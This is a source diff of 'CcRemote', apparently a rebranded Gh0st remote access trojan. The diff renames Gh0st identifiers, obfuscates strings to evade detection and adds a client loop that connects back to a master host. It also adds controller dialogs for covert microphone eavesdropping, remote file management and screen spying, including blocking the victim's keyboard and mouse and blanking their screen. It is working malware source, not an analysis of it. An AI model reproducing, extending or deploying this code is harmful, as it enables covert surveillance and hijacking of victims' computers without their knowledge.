m_hWndCap = capCreateCaptureWindow
|
||||
(
|
||||
"CVideoCap",
|
||||
"VideoCapWindow",
|
||||
WS_CHILD | WS_VISIBLE,
|
||||
0,
|
||||
0,
|
||||
|
@@ -110,19 +110,35 @@ DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
|
||||
return 0;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD>̱<EFBFBD><CCB1><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
DWORD WINAPI Loop_SystemManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CSystemManager manager(&socketClient);
|
||||
CSystemManager manager(&socketClient, COMMAND_SYSTEM);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>̻߳ص<CCBB><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
DWORD WINAPI Loop_WindowManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CSystemManager manager(&socketClient, COMMAND_WSLIST);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
DWORD WINAPI Loop_DownManager(LPVOID lparam)
|
||||
{
|
||||
int nUrlLength;
|
||||
@@ -171,7 +187,7 @@ bool UpdateServer(LPCTSTR lpURL)
|
||||
PROCESS_INFORMATION pi;
|
||||
si.cb = sizeof si;
|
||||
si.lpDesktop = "WinSta0\\Default";
|
||||
return CreateProcess(lpFileName, "Gh0st Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||
return CreateProcess(lpFileName, "CcRmt Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||
}
|
||||
|
||||
|
||||
|
@@ -36,7 +36,16 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// Set Window Station
|
||||
HWINSTA hOldStation = GetProcessWindowStation();
|
||||
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
|
||||
|
||||
|
||||
char winsta0[] = { 0x07,0xbc,0xa3,0xa7,0xbb,0xb3,0xa7,0xf5};//winsta0
|
||||
char* lpszWinSta = decodeStr(winsta0); //解密函数
|
||||
|
||||
HWINSTA hWinSta = OpenWindowStation(lpszWinSta, FALSE, MAXIMUM_ALLOWED);
|
||||
|
||||
memset(lpszWinSta, 0, winsta0[STR_CRY_LENGTH]); //填充0
|
||||
delete lpszWinSta; //释放
|
||||
|
||||
if (hWinSta != NULL)
|
||||
SetProcessWindowStation(hWinSta);
|
||||
//
|
||||
@@ -50,7 +59,7 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
SetUnhandledExceptionFilter(bad_exception);
|
||||
|
||||
lstrcpy(strServiceName, lpServiceName);
|
||||
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
|
||||
wsprintf(strKillEvent, "Global\\CcRem %d", GetTickCount()); // 随机事件名
|
||||
|
||||
hInstallMutex = CreateMutex(NULL, true, g_strHost);
|
||||
//ReConfigService(strServiceName);
|
||||
|
@@ -11,3 +11,4 @@
|
||||
#include "framework.h"
|
||||
|
||||
#endif //PCH_H
|
||||
|
||||
|
123
CcRemote/CcRemote/CAudioDlg.cpp
Normal file
@@ -0,0 +1,123 @@
|
||||
// CAudioDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CAudioDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
// CAudioDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
|
||||
|
||||
CAudioDlg::CAudioDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_AUDIO, pParent)
|
||||
{
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_AUDIO)); //处理图标
|
||||
m_iocpServer = pIOCPServer; //为类的成员变量赋值
|
||||
m_pContext = pContext;
|
||||
m_bIsWorking = true;
|
||||
|
||||
m_nTotalRecvBytes = 0;
|
||||
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr)); //得到服务端ip
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
|
||||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||||
}
|
||||
|
||||
CAudioDlg::~CAudioDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Check(pDX, IDC_SEND_LOCALAUDIO, m_bIsSendLocalAudio);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CAudioDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CAudioDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
CString str;
|
||||
str.Format("\\\\%s - 语音监听", m_IPAddress);
|
||||
SetWindowText(str);
|
||||
|
||||
// 通知远程控制端对话框已经打开
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
|
||||
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
DWORD CAudioDlg::WorkThread(LPVOID lparam)
|
||||
{
|
||||
CAudioDlg *pThis = (CAudioDlg *)lparam;
|
||||
|
||||
while (pThis->m_bIsWorking)
|
||||
{
|
||||
if (!pThis->m_bIsSendLocalAudio)
|
||||
{
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
DWORD dwBytes = 0;
|
||||
LPBYTE lpBuffer = pThis->m_Audio.getRecordBuffer(&dwBytes);
|
||||
if (lpBuffer != NULL && dwBytes > 0)
|
||||
pThis->m_iocpServer->Send(pThis->m_pContext, lpBuffer, dwBytes);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void CAudioDlg::OnClose()
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
m_pContext->m_Dialog[0] = 0;
|
||||
|
||||
closesocket(m_pContext->m_Socket);
|
||||
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CDialog::OnClose();
|
||||
}
|
||||
|
||||
|
||||
void CAudioDlg::OnReceiveComplete(void)
|
||||
{
|
||||
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||||
CString str;
|
||||
str.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
|
||||
SetDlgItemText(IDC_TIPS, str);
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
//这里也非常简洁,就是将服务端发送来的数据播放出来,我们看一下这个类还是CAudio,哈哈
|
||||
//原来播放和录制是同一个类,我们转到这个函数
|
||||
case TOKEN_AUDIO_DATA:
|
||||
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
|
||||
break;
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
return;
|
||||
}
|
||||
}
|
42
CcRemote/CcRemote/CAudioDlg.h
Normal file
@@ -0,0 +1,42 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CAudioDlg 对话框
|
||||
#include "include/IOCPServer.h"
|
||||
#include "..\..\common\Audio.h"
|
||||
class CAudioDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CAudioDlg)
|
||||
|
||||
public:
|
||||
CAudioDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||
virtual ~CAudioDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_AUDIO };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
public:
|
||||
bool m_bIsWorking;
|
||||
CAudio m_Audio;
|
||||
private:
|
||||
|
||||
UINT m_nTotalRecvBytes;
|
||||
HICON m_hIcon;
|
||||
HANDLE m_hWorkThread;
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
static DWORD WorkThread(LPVOID lparam);
|
||||
BOOL m_bIsSendLocalAudio;
|
||||
afx_msg void OnClose();
|
||||
void OnReceiveComplete(void);
|
||||
};
|
2605
CcRemote/CcRemote/CFileManagerDlg.cpp
Normal file
156
CcRemote/CcRemote/CFileManagerDlg.h
Normal file
@@ -0,0 +1,156 @@
|
||||
#pragma once
|
||||
#include "TrueColorToolBar.h"
|
||||
#include "include/IOCPServer.h"
|
||||
#include "resource.h"
|
||||
|
||||
|
||||
typedef CList<CString, CString&> strList;
|
||||
// CFileManagerDlg 对话框
|
||||
|
||||
class CFileManagerDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CFileManagerDlg)
|
||||
|
||||
public:
|
||||
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||
virtual ~CFileManagerDlg();
|
||||
bool m_bIsStop;
|
||||
CString m_strReceiveLocalFile;
|
||||
CString m_strUploadRemoteFile;
|
||||
void ShowProgress();
|
||||
void SendStop();
|
||||
int m_nTransferMode;
|
||||
CString m_hCopyDestFolder;
|
||||
void SendContinue();
|
||||
void SendException();
|
||||
void EndLocalRecvFile();
|
||||
void EndRemoteDeleteFile();
|
||||
CString m_strOperatingFile; // 文件名
|
||||
__int64 m_nOperatingFileLength; // 文件总大小
|
||||
__int64 m_nCounter;// 计数器
|
||||
void WriteLocalRecvFile();
|
||||
void CreateLocalRecvFile();
|
||||
BOOL SendDownloadJob();
|
||||
BOOL SendUploadJob();
|
||||
BOOL SendDeleteJob();
|
||||
|
||||
strList m_Remote_Download_Job;
|
||||
strList m_Remote_Upload_Job;
|
||||
strList m_Remote_Delete_Job;
|
||||
CTrueColorToolBar m_wndToolBar_Local;
|
||||
CTrueColorToolBar m_wndToolBar_Remote;
|
||||
void ShowMessage(char *lpFmt, ...);
|
||||
CString m_Remote_Path;
|
||||
BYTE m_bRemoteDriveList[1024];
|
||||
CString GetParentDirectory(CString strPath);
|
||||
void OnReceiveComplete();
|
||||
|
||||
CImageList* m_pImageList_Large;
|
||||
CImageList* m_pImageList_Small;
|
||||
|
||||
int m_nNewIconBaseIndex; // 新加的ICON
|
||||
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
|
||||
CProgressCtrl* m_ProgressCtrl;
|
||||
HCURSOR m_hCursor;
|
||||
CString m_Local_Path;
|
||||
bool FixedUploadDirectory(LPCTSTR lpPathName);
|
||||
void FixedLocalDriveList();
|
||||
void FixedRemoteDriveList();
|
||||
void FixedLocalFileList(CString directory = "");
|
||||
void GetRemoteFileList(CString directory = "");
|
||||
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
||||
|
||||
HICON m_hIcon;
|
||||
CStatusBar m_wndStatusBar;
|
||||
|
||||
CComboBox m_Remote_Directory_ComboBox;
|
||||
CComboBox m_Local_Directory_ComboBox;
|
||||
CListCtrl m_list_remote;
|
||||
CListCtrl m_list_local;
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_FILE };
|
||||
#endif
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
virtual void PostNcDestroy();
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg HCURSOR OnQueryDragIcon();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg void OnTimer(UINT nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnLocalPrev();
|
||||
afx_msg void OnRemotePrev();
|
||||
afx_msg void OnLocalView();
|
||||
afx_msg void OnLocalList();
|
||||
afx_msg void OnLocalReport();
|
||||
afx_msg void OnLocalBigicon();
|
||||
afx_msg void OnLocalSmallicon();
|
||||
afx_msg void OnRemoteBigicon();
|
||||
afx_msg void OnRemoteList();
|
||||
afx_msg void OnRemoteReport();
|
||||
afx_msg void OnRemoteSmallicon();
|
||||
afx_msg void OnRemoteView();
|
||||
afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI);
|
||||
afx_msg void OnRemoteCopy();
|
||||
afx_msg void OnLocalCopy();
|
||||
afx_msg void OnLocalDelete();
|
||||
afx_msg void OnRemoteDelete();
|
||||
afx_msg void OnRemoteStop();
|
||||
afx_msg void OnLocalStop();
|
||||
afx_msg void OnLocalNewfolder();
|
||||
afx_msg void OnRemoteNewfolder();
|
||||
afx_msg void OnTransfer();
|
||||
afx_msg void OnRename();
|
||||
afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnDelete();
|
||||
afx_msg void OnNewfolder();
|
||||
afx_msg void OnRefresh();
|
||||
afx_msg void OnLocalOpen();
|
||||
afx_msg void OnRemoteOpenShow();
|
||||
afx_msg void OnRemoteOpenHide();
|
||||
afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
|
||||
protected:
|
||||
CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM
|
||||
CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON
|
||||
BOOL m_bDragging; //T during a drag operation
|
||||
int m_nDragIndex; //Index of selected item in the List we are dragging FROM
|
||||
int m_nDropIndex; //Index at which to drop item in the List we are dropping ON
|
||||
CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type)
|
||||
|
||||
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
|
||||
private:
|
||||
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
void SendTransferMode();
|
||||
void SendFileData();
|
||||
void EndLocalUploadFile();
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
void EnableControl(BOOL bEnable = TRUE);
|
||||
};
|
875
CcRemote/CcRemote/CScreenSpyDlg.cpp
Normal file
@@ -0,0 +1,875 @@
|
||||
// CScreenSpyDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CScreenSpyDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
enum
|
||||
{
|
||||
IDM_CONTROL = 0x0010,
|
||||
IDM_SEND_CTRL_ALT_DEL,
|
||||
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
|
||||
IDM_BLOCK_INPUT, // 锁定远程计算机输入
|
||||
IDM_BLANK_SCREEN, // 黑屏
|
||||
IDM_CAPTURE_LAYER, // 捕捉层
|
||||
IDM_SAVEDIB, // 保存图片
|
||||
IDM_GET_CLIPBOARD, // 获取剪贴板
|
||||
IDM_SET_CLIPBOARD, // 设置剪贴板
|
||||
IDM_ALGORITHM_SCAN, // 隔行扫描算法
|
||||
IDM_ALGORITHM_DIFF, // 差异比较算法
|
||||
IDM_DEEP_1, // 屏幕色彩深度.....
|
||||
IDM_DEEP_4_GRAY,
|
||||
IDM_DEEP_4_COLOR,
|
||||
IDM_DEEP_8_GRAY,
|
||||
IDM_DEEP_8_COLOR,
|
||||
IDM_DEEP_16,
|
||||
IDM_DEEP_32
|
||||
};
|
||||
// 两种算法
|
||||
#define ALGORITHM_SCAN 1 // 速度很快,但碎片太多
|
||||
#define ALGORITHM_DIFF 2 // 速度很慢,也占CPU,但是数据量都是最小的
|
||||
// CScreenSpyDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_SCREENSPY, pParent)
|
||||
{
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_pContext = pContext;
|
||||
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
|
||||
m_lpScreenDIB = NULL;
|
||||
char szPath[MAX_PATH];
|
||||
GetSystemDirectory(szPath, MAX_PATH);
|
||||
lstrcat(szPath, "\\shell32.dll");
|
||||
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szPath, 17/*网上邻居图标索引*/);
|
||||
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
|
||||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||||
|
||||
//重要的是这里,这里将服务端发送来的bmp结构头和服务端屏幕大小保存起来
|
||||
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||||
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
|
||||
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
|
||||
//这里就是保存bmp位图头了
|
||||
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||||
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||||
|
||||
memset(&m_MMI, 0, sizeof(MINMAXINFO));
|
||||
|
||||
m_bIsCtrl = false; // 默认不控制
|
||||
m_nCount = 0;
|
||||
m_bCursorIndex = 1;
|
||||
}
|
||||
|
||||
CScreenSpyDlg::~CScreenSpyDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_GETMINMAXINFO()
|
||||
ON_WM_HSCROLL()
|
||||
ON_WM_PAINT()
|
||||
ON_WM_SYSCOMMAND()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CScreenSpyDlg 消息处理程序
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnClose()
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
m_pContext->m_Dialog[0] = 0;
|
||||
|
||||
closesocket(m_pContext->m_Socket);
|
||||
|
||||
::ReleaseDC(m_hWnd, m_hDC);
|
||||
DeleteObject(m_hFullBitmap);
|
||||
|
||||
//关闭会进来两次,为了避免崩溃判断一下
|
||||
if (m_lpbmi)
|
||||
delete m_lpbmi;
|
||||
m_lpbmi = NULL;
|
||||
if (m_lpbmi_rect)
|
||||
delete m_lpbmi_rect;
|
||||
m_lpbmi_rect = NULL;
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
|
||||
|
||||
m_bIsCtrl = false;
|
||||
CDialog::OnClose();
|
||||
}
|
||||
|
||||
|
||||
BOOL CScreenSpyDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
//初始化菜单
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != NULL)
|
||||
{
|
||||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, "发送Ctrl-Alt-Del(&K)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪服务端鼠标(&T)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定服务端鼠标和键盘(&L)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, "服务端黑屏(&B)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, "捕捉层(导致鼠标闪烁)(&L)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
|
||||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)");
|
||||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, "隔行扫描算法(&S)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, "差异比较算法(&X)");
|
||||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, "1 位黑白(&A)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, "4 位灰度(&B)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, "4 位彩色(&C)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY, "8 位灰度(&D)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, "8 位彩色(&E)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, "16位高彩(&F)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, "32位真彩(&G)");
|
||||
|
||||
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
|
||||
}
|
||||
|
||||
// TODO: Add extra initialization here
|
||||
CString str;
|
||||
str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
|
||||
SetWindowText(str);
|
||||
|
||||
m_HScrollPos = 0;
|
||||
m_VScrollPos = 0;
|
||||
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
|
||||
|
||||
ICONINFO CursorInfo;
|
||||
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
||||
if (CursorInfo.hbmMask != NULL)
|
||||
::DeleteObject(CursorInfo.hbmMask);
|
||||
if (CursorInfo.hbmColor != NULL)
|
||||
::DeleteObject(CursorInfo.hbmColor);
|
||||
m_dwCursor_xHotspot = CursorInfo.xHotspot;
|
||||
m_dwCursor_yHotspot = CursorInfo.yHotspot;
|
||||
|
||||
m_RemoteCursorPos.x = 0;
|
||||
m_RemoteCursorPos.x = 0;
|
||||
m_bIsTraceCursor = false;
|
||||
|
||||
// 初始化窗口大小结构 位图的图像数据
|
||||
//是我们分配好的缓冲区也就是说我们可以更改这个缓冲区里的数据来改变位图图像
|
||||
m_hDC = ::GetDC(m_hWnd);
|
||||
m_hMemDC = CreateCompatibleDC(m_hDC);
|
||||
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
|
||||
SelectObject(m_hMemDC, m_hFullBitmap);
|
||||
SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth);
|
||||
SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight);
|
||||
|
||||
InitMMI();
|
||||
SendNext();
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::InitMMI(void)
|
||||
{
|
||||
RECT rectClient, rectWindow;
|
||||
GetWindowRect(&rectWindow);
|
||||
GetClientRect(&rectClient);
|
||||
ClientToScreen(&rectClient);
|
||||
|
||||
int nBorderWidth = rectClient.left - rectWindow.left; // 边框宽
|
||||
int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
|
||||
|
||||
int nWidthAdd = nBorderWidth * 2 + GetSystemMetrics(SM_CYHSCROLL);
|
||||
int nHeightAdd = nTitleWidth + nBorderWidth + GetSystemMetrics(SM_CYVSCROLL);
|
||||
int nMinWidth = 400 + nWidthAdd;
|
||||
int nMinHeight = 300 + nHeightAdd;
|
||||
int nMaxWidth = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
|
||||
int nMaxHeight = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
|
||||
|
||||
|
||||
// 最小的Track尺寸
|
||||
m_MMI.ptMinTrackSize.x = nMinWidth;
|
||||
m_MMI.ptMinTrackSize.y = nMinHeight;
|
||||
|
||||
// 最大化时窗口的位置
|
||||
m_MMI.ptMaxPosition.x = 1;
|
||||
m_MMI.ptMaxPosition.y = 1;
|
||||
|
||||
// 窗口最大尺寸
|
||||
m_MMI.ptMaxSize.x = nMaxWidth;
|
||||
m_MMI.ptMaxSize.y = nMaxHeight;
|
||||
|
||||
// 最大的Track尺寸也要改变
|
||||
m_MMI.ptMaxTrackSize.x = nMaxWidth;
|
||||
m_MMI.ptMaxTrackSize.y = nMaxHeight;
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::SendNext(void)
|
||||
{
|
||||
BYTE bBuff = COMMAND_NEXT;
|
||||
m_iocpServer->Send(m_pContext, &bBuff, 1);
|
||||
}
|
||||
|
||||
//调整最大化最小化时会调用这个函数
|
||||
void CScreenSpyDlg::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
// 如果m_MMI已经被赋值
|
||||
if (m_MMI.ptMaxSize.x > 0)
|
||||
memcpy((void *)lpMMI, &m_MMI, sizeof(MINMAXINFO));
|
||||
CDialog::OnGetMinMaxInfo(lpMMI);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
SCROLLINFO si;
|
||||
int i;
|
||||
si.cbSize = sizeof(SCROLLINFO);
|
||||
si.fMask = SIF_ALL;
|
||||
GetScrollInfo(SB_HORZ, &si);
|
||||
|
||||
